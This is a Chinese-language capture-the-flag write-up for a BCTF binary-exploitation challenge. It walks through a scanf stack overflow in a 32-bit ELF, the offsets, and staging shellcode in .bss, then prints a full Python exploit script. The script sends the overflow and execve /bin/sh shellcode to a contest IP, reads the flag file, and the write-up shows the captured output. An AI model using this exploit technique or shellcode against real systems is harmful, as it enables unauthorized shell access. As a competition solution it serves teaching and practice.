about 4 years ago

ELF32,首先分析一下,找到輸入點:

int main(){
    int v1; //[sp+18h]
 //...
 sub_8048DDE((char *)&v1);
    //...
}
int sub_8048DDE(char *buf){
    //...
 printf("\nReplay?(y/n)");
    fflush(stdout);
    scanf("%s", buf);
    //...
}

很明顯的 buffer overflow,108 bytes 後蓋到 main() 的返回位址,那我們的 shellcode 在哪裡呢? Stack 不好定位,我們借一下 sub_8048DDE(char*),把 shellcode 讀到 .bss 段上。因此要溢出的部份是這樣的:

0x6c: 0x0804bdde (原本為 main() 的返回位址)
0x70: 0x0804b146 (跳轉 shellcode,偏了 1 byte 是因為第一個字元要是 'n' 才會直接 return)
0x7c: 0x0804b145 (傳給 sub_8048DDE() 的參數)

另外,因為這裡是用 scanf("%s") 讀取的,shellcode 中不可以有 \t,' ',\r,\n 這些字元,我們做了一些修改以避開它們,例如把 mov al,0x0b 換成 mov al,0x10; dec; dec; dec; dec; dec;。完整的代碼如下:

import socket
import struct
import sys

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.250',1337))

while True:
    s = st.recv(4096)
    sys.stdout.write(s)
    if 'Replay?(y/n)' in s:
        break

s = 'n'*116
s += struct.pack('I',0x08048DDE)
s += struct.pack('I',0x0804B146)
s += struct.pack('I',0x0804B145)
st.send(s+'\n')
print st.recv(4096)

s = 'n\xeb\x1b[1\xc0\x88C\x07\x89[\x14\x89C\x18\xb0\x10'+\
        'HHHHH\x8dK\x14\x8dS\x18\xcd\x80\xe8\xe0\xff\xff'+\
        '\xff/bin/sh0XXXX0000XXXXAAAABBBB'
st.send(s+'\n')

st.send('cat /home/ctf/flag\n')
print st.recv(4096)

執行結果:

This one's dedicated to allAnnotate the hackers

Even out settle score quick
My disaster recovery requires even more disks
Put your bytes up, prove it or you forfeit
Got my C64 and we blew it into orbit.

.......

Drink all the booze
Hack all the things

Replay?(y/n)
Replay?(y/n)
BCTF{H4v3-4-n1C3-pWn1ng-f3sT1v4l!!}

... 我承認當時完全沒有注意到自帶後門這件事 ...

← BCTF 超級加解密 Writeup BCTF 身无分文 Writeup →